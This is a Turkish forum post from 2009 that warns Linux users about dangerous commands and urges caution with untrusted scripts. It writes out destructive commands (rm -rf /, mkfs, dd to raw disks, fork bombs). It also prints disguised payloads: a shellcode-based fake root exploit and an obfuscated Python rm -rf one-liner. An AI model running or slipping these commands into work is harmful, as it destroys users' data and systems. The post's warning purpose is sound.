Bilginin Adresi Ana Sayfa
Forum Anasayfası Forum Anasayfası > Bilgisayar Güvenliği / Computer Security > Güvenlik / Security Makaleleri
  Aktif Konular Aktif Konular RSS - Tehlikeli Komutlar (Linux)
  SSS SSS  Forumu Ara   Events   Kayıt Ol Kayıt Ol  GiriÅŸ GiriÅŸ

Tehlikeli Komutlar (Linux)

 Yanıt Yaz Yanıt Yaz
Yazar
Mesaj
megabros Açılır Kutu Gör
Security Professional
Security Professional
Simge

Kayıt Tarihi: 08-06-2009
Konum: Turkey
Status: Aktif DeÄŸil
Points: 752
Mesaj Seçenekleri Mesaj Seçenekleri   Thanks (0) Thanks(0)   Alıntı megabros Alıntı  Yanıt YazCevapla Mesajın Direkt Linki Konu: Tehlikeli Komutlar (Linux)
    Gönderim Zamanı: 23-08-2009 Saat 12:18

Linux’ta Konsol Cok Güclü Bir Aractir. Birde bunun kullaniminda en yetkili kullanici olan “root” yetkilerine sahipseniz elinizde yanlislikla tüm sisteminizi yok edecek bir silah tutuyorsunuz demektir. Bazi komutlar ise “root” yetkileri olmasa ve sistemin geneline hasar vermese de kullanicinin herseyini yok edebilir. Ancak bu söylenenlere bakip panige de kapilmamak gerekir.

Herseyden önce, ne yaptigini bilen bir Linux kullanicisi icin Linux en güvenli ve en güvenilir isleim sistemidir. En azindan hersey sizin kontrolünüz altindadir ve siz yanlis yapmassaniz yanlis birsey olmaz. Oysa Windoze ailesinde kontrol sizden kolaylikla alinabilir ve isler sarpa sarabilir ve öylede olmaktadir…

Özellikle sistem üzerinde, dosyalarla islem yapan komutlar potansiyel olarak tehlikeli ve dikkatle kullanilmasi gereken komutlardir. “rm” (re-move) komutu silme islemi yapar. Bu komut ile ilgili olarak ilk bilinmesi gereken, grafik ortamda kullanilan benzeri islemin aksine bu islem sonucunda silinen dosyalarin Cöp’e atilmamasi ve tamamen silinmesidir.

Bu sekilde silinen dosyalarin geri getirilmesi ise oldukca zahmetli ve riskli olmaktadir. Ancak böyle durumlar icin modern bircok dagitimda tanimlanan “alias’lar sayesinde asagidaki gibi bir komut girildiginde size ek olarak bir uyari yapilmaktadir. Ubuntuda rm komutunu girince sifre sormuyor. Bu durumda ise rm -i parametresiyle sifre sormasini saglayabiliriz. Su an ubuntuda oldugum icin bu parametreyi kullanmak zorundayim.

 

chaylaq@by-7:~/Desktop$ ls

Resimler Usual Suspect Depo Music chaylaq.txt Yeni Dosya~
chaylaq@by-7:~/Desktop$ rm -i chaylaq.txt
rm: normal dosya `chaylaq.txt’ silinsin mi?(e)

Benzeri bir uyari rm ile * parametresi kullanildigindada karsimiza cikar.

chaylaq@by-7:~/Desktop/test$ touch test.txt test1.txt test2.txt

chaylaq@by-7:~/Desktop/test$ ls

test.txt test1.txt test2.txt

chaylaq@by-7:~/Desktop/test$ rm -i *

rm: normal boş dosya `test1.txt’ silinsin mi? e
rm: normal boş dosya `test2.txt’ silinsin mi? e
rm: normal boş dosya `test.txt’ silinsin mi? e

Komutu bu uyarilari vermeyecek sekildede kullanmak mümkündür. Bunun icin -f parametresini kullaniriz.

chaylaq@by-7:~/Desktop/test$ touch test.txt test1.txt test2.txt
chaylaq@by-7:~/Desktop/test$ ls
test1.txt test2.txt test.txt
chaylaq@by-7:~/Desktop/test$ rm -f *
chaylaq@by-7:~/Desktop/test$ ls
chaylaq@by-7:~/Desktop/test$

Görülecegi gibi bu durumda sistem bize uyari vermeden olusturdugumuz üc dosyayi da sildi.

Örnegimizi daha da ileri götürerek bulundugumuz dizin altinda baska dizinlerin oldugunu varsayalim. Bu durumda “rm *” komutu ile alt dizinlerin icleri ve kendileri silinmeyecektir. Ancak bu dizinler komutta dogrudan belirtilerek ya da iclerine girilerek Temizlendikten sonra “rd ile silinerek bulunulan dizin tamamiyle bosaltilabilir.

Bu durumu kolaylastirmak icin de elimizde bir parametre elbette mevcuttur. Komutu asagidaki gibi kullanirsak alt dizinlerdekilerde silinecektir.

rm -r *

Bu sekilde kullanimda yine silinme isleminde uyari verilecek ve dosyalar teker teker onaylanarak silinecektir. Bunu da kolaslastirabiliriz.

rm -rf *

Bu komutu uyguladigimizda bize uyarida bulunmadan silme islemi tamamlanacaktir. Bu komutu üc farkli sekilde kullanabiliriz.

rm -rf *
rm -rf .
rm -rf /

İlk komut ile mevcut dizinde ve altindaki Görülebilir dosyalarin tümünü, ikinci komut mevcut dizin ve altindaki herseyi ve son komut ise Linux dosya sisteminin Kök’ü olan / ve altindaki herseyi, yani sisteminizdeki herseyi siler. Elbette bu komutlar icin kullanici haklarinin uygun olmasi gerekir.

Bu komutlardan yalnizca ilk ikisi kullanicinin kendi dizininin icinde normal kullanici haklari ile gecerli iken son komutun calistirilmasi icin root olmak gerekir.

rm komutu bu konuda yalniz degildir elbette. Formatlama yapan mkfs Komutu da dikkatle kullanilmasi gereken bir komuttur.

Bu komut sisteminiz calisirken, calismakta olan sistem alanlari icin de islem yapacaktir. Yanlis bir parametre ve uygulama ile bir anda sisteminiz buhar olup gidebilir. Asagidaki komutlarin ardindan verilecek cihaz parametreleri (/dev/sdc, /dev/hda /dev/sda ..) ile belirtilen cihazlara birer bos dosya sistemi yerlesecektir…

mkfs
mkfs.ext3

mkfs (Make File System) komutu aslinda aldigi ek parametlerde belirtilen dosya sistemini kurmak icin bir “araci” komuttur. İkinci satirda oldugu gibi arkadan gelecek hedef alana ext3 dosya sistemi kurulacak Formatlanacaktir…

Benzeri olarak ham veri üzerinde calisan komutlarin yönlendirilmeleride tehlikeli sonuclar dogurabilir. Komut satirindan herhangi bir komutun ciktisini “>” ile belirli bir cihaza yönlendirebiliriz. Bu yönlendirmenin bir özelligi gönderilen verinin cihazin ilk bölümüne yazilmasidir.

Kendi yapisi ile uygun olup olmamasina bakmadan “ham” veriyi kabul eden cihazlarda bu beklenmedik sonuclara yol acacaktir…

Herhangibir_komut > /dev/hda

Bu sekilde hangi komut oldugu önemli olmadan ciktiyi /dev/hda cihazina yani ilk sabit diskimizin basindaki ilk bayttan itibaren olan bölüme yazmis olacagiz. Oysa burada belirli formatta olmasi gereken “boot sektörü” ve benzeri veriler bulunmasi gerekmektedir.

Gelisi güzel olarak yazilan bu veriler sabit diskimizi bir anda kullanilamaz hale getirecektir. Hemen belirtelim bu islem sabit diskimize fiziksel bir zarar vermez veeger bir sekilde verileri kurtarmamiz mümkün olmazsa, temiz bir sabit disk olarak kullanilabilir hale getirebiliriz.

# dd if=/dev/zero of=/dev/hda bs=1000 count=1000

Yukardaki komut ile bir baska Tehlikeli komutu kullanarak ilk sabit diskimizin baslangic bölümünü temizleyebiliriz.

Ya bu komutuda yanlislikla kullanirsak… Az önceki > ile yönlendirme isleminde oldugu gibi herhangi bir veriyi dd ile bir cihaza, mesela /dev/sda olarak bulunan ilk sabit diske yollarsak yine isleri karistiririz.

dd if=herhangi_bisey of=/dev/sda

Bu komut ile yukardakiler benzer bir sekilde herhangi_bisey /dev/sda’ya gönderilerek ilk basa yazilacaktir.

Bir baska tehlikeli islem ise “Fork Bombasi” olarak tabir edilen ve uygulandiginda sayisiz sürec baslatarak sistemi bogan bir komut kullanmaktir.

Bu islem sonucunda sistem cevap veremez hale gelebilir ve tek care olarak sistem kapatildiginda veri kayiplarindan tutunda belirsiz bircok isleme kadar cesitli hasarlar ile karsilasabiliriz.

Bash gibi bir kabuk ortaminda asagidaki komutun kullanilmasi ile benzer bir sonuc elde edilir..

:(){:|:&};:

Perl icin ise asagidaki komut yeterlidir.

fork while fork

Linux kurallara uyuldugu ve dikkatli davranildigi durumlarda cok güvenli bir isletim sistemidir. Ancak aksi hareketler bunu yikabilir. Yukarda belirtilen tehlikeli komutlar kontrolünüz disindaki kaynaklardan gelirse ne olur? Elbette sisteminizde beklenen hasar meydana gelir.

Bu Nedenle güvenilmeyen ve belirsiz kaynaklardan elinize gecen hicbir seyi kullanmamalisiniz. Hele hele bu bir program paketi yada bir betik ise on kat, yüz kat daha dikkatli olmamiz gerekiyor. Bugün belli basli Linux dagitimlarin kendi paket depolari bulunmaktadir.

Bu depolara giren paketler cok dikkatli incelemelerden gecmis ve güvenli olduklari tespit edilmis paketlerdir. Kurulum sirasinda eger sisteminiz ek bir güvenlik testi yapabiliyorsa daha da güvenli hale gelirler. (rpm paketlerinde oldugu gibi)

En iyi kural “Güvenmiyorsan ve süphen varsa kullanma” Kuralidir. Kaynagina güvenmediginiz hicbir seyi kullanmayin. Güvenilir kaynaklardan elde edeceginiz her türlü paketin de güvenlik testini yapmayi ihmal etmeyin. yukarda bahsedilen dagitimlarin depolari kendi güvenlik sistemlerine sahiptirler.

Gerek depolarin denetimi gerekse oralardan elde edilecek paketlerin denetimi icin gerekli araclar bulunmaktadir. En bilinen testlerden birisi md5sum testidir. İndirdiginiz iso dosyalarini bu testten gecirmeyi unutmayin.

Bazen ilk anda görülmeyen tehlikeler ile karsi karsiya kalabilirsiniz. Asagidaki kod buna bir örnek olarak ele alinabilir. Bu kod böyle bir kavrami ispat etmek icin yazilmistir. Kullaniciya bu kod calistirildiginda sudo tarafindan konsol olmadan root yetkilerine sahip olacagi belirtilmektedir. Elbette aslinda bu bir kandirmacadir…

char esp[] __attribute__ ((section(”.text”))) /* e.s.p
release */
= “\\xeb\\x3e\\x5b\\x31\\xc0\\x50\\x54\\x5a\\x83\\xec\\x64\\x68″
“\\xff\\xff\\xff\\xff\\x68\\xdf\\xd0\\xdf\\xd9\\x68\\x8d\\x99″
“\\xdf\\x81\\x68\\x8d\\x92\\xdf\\xd2\\x54\\x5e\\xf7\\x16\\xf7″
“\\x56\\x04\\xf7\\x56\\x08\\xf7\\x56\\x0c\\x83\\xc4\\x74\\x56″
“\\x8d\\x73\\x08\\x56\\x53\\x54\\x59\\xb0\\x0b\\xcd\\x80\\x31″
“\\xc0\\x40\\xeb\\xf9\\xe8\\xbd\\xff\\xff\\xff\\x2f\\x62\\x69″
“\\x6e\\x2f\\x73\\x68\\x00\\x2d\\x63\\x00″
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;

Aslinda bu yukardakiler komut satirinda, rm -rf ~/ & islemini yaptirmaktadir. Elbette bunlari veri blogu icindeki hex bilgilerden anlamak pek mümkün degildir.

Söylenilene kanip da bunu calistiranlar kullanici haklarina göre ya da kullanici ana dizinlerinden yada root olarak calistirildiysa tüm sistemden olacaklardir.

Kandirma islemi icin cok yol bulunmaktadir. yukardaki sadece bir örnektedir. En iyisi güvenmediginiz, kaynagini ve ne yapacagini bilmedigiiz hicbir seye dokunmamak olacaktir.

Asagidaki örnek de yine benzeri bir kandirmayi bu sefer python dilinde yapmaktadir…

python -c ’import os; os.system(”".join([chr(ord(i)-1) for i
in "sn!.sg!+"]))’

Bu islemin sonucuda rm -rf * ile ayni olacaktir.

Linux’ta yaygin olarak kullanilan veri paketi sistemlerinin basinda tar paketleri gelir. Bu paketler icinde ne olduguna bakilmaksizin kullanilmalari bazen tehlikeli yada istenmeyen sonuclara neden olabilir. Bir yerden elde edilen tar paketini bulundugu dizine acmak bu hatalarin basinda yer almaktadir.

Kullanilan tar paket’i icinden cikacak dosyalar ya da dizinler ile ayni acilacagi dizinde ayni isimde var olabilecek dosya ya da dizinler bulunursa bunlarin üzerlerine yazilacaktir. Bu nedenle tar paketlerini acmadan önce bos bir dizine kopyalamak prensib olarak ilk tercih edilen olmalidir…

Sıkıstırılmıs sekli ile tar paketleri tar.gz ya da tar.bz2 paketlerinin acilmasinda “Decompresyon – Genisletme” islemi uygulanir. Bazi durumlarda sıkıstırma oranlari cok yüksek olabilir. Sonucta genisletilen ve acilan paketten cikanlar sistemde bulunan alani tamamen doldurabilir. Böyle durumlar icin ise mümkünse acilidktan sonra ne kadar yer kaplayacaklarina bakmak ve sisteminiz yetersiz kalacaksa bu paketleri acmamak en iyisi olacaktir.

Saygılar..


Düzenleyen megabros - 23-08-2009 Saat 12:18
Yukarı Dön
 Yanıt Yaz Yanıt Yaz

Forum Atla Forum İzinleri Açılır Kutu Gör



Bu Sayfa 0.142 Saniyede Yüklendi.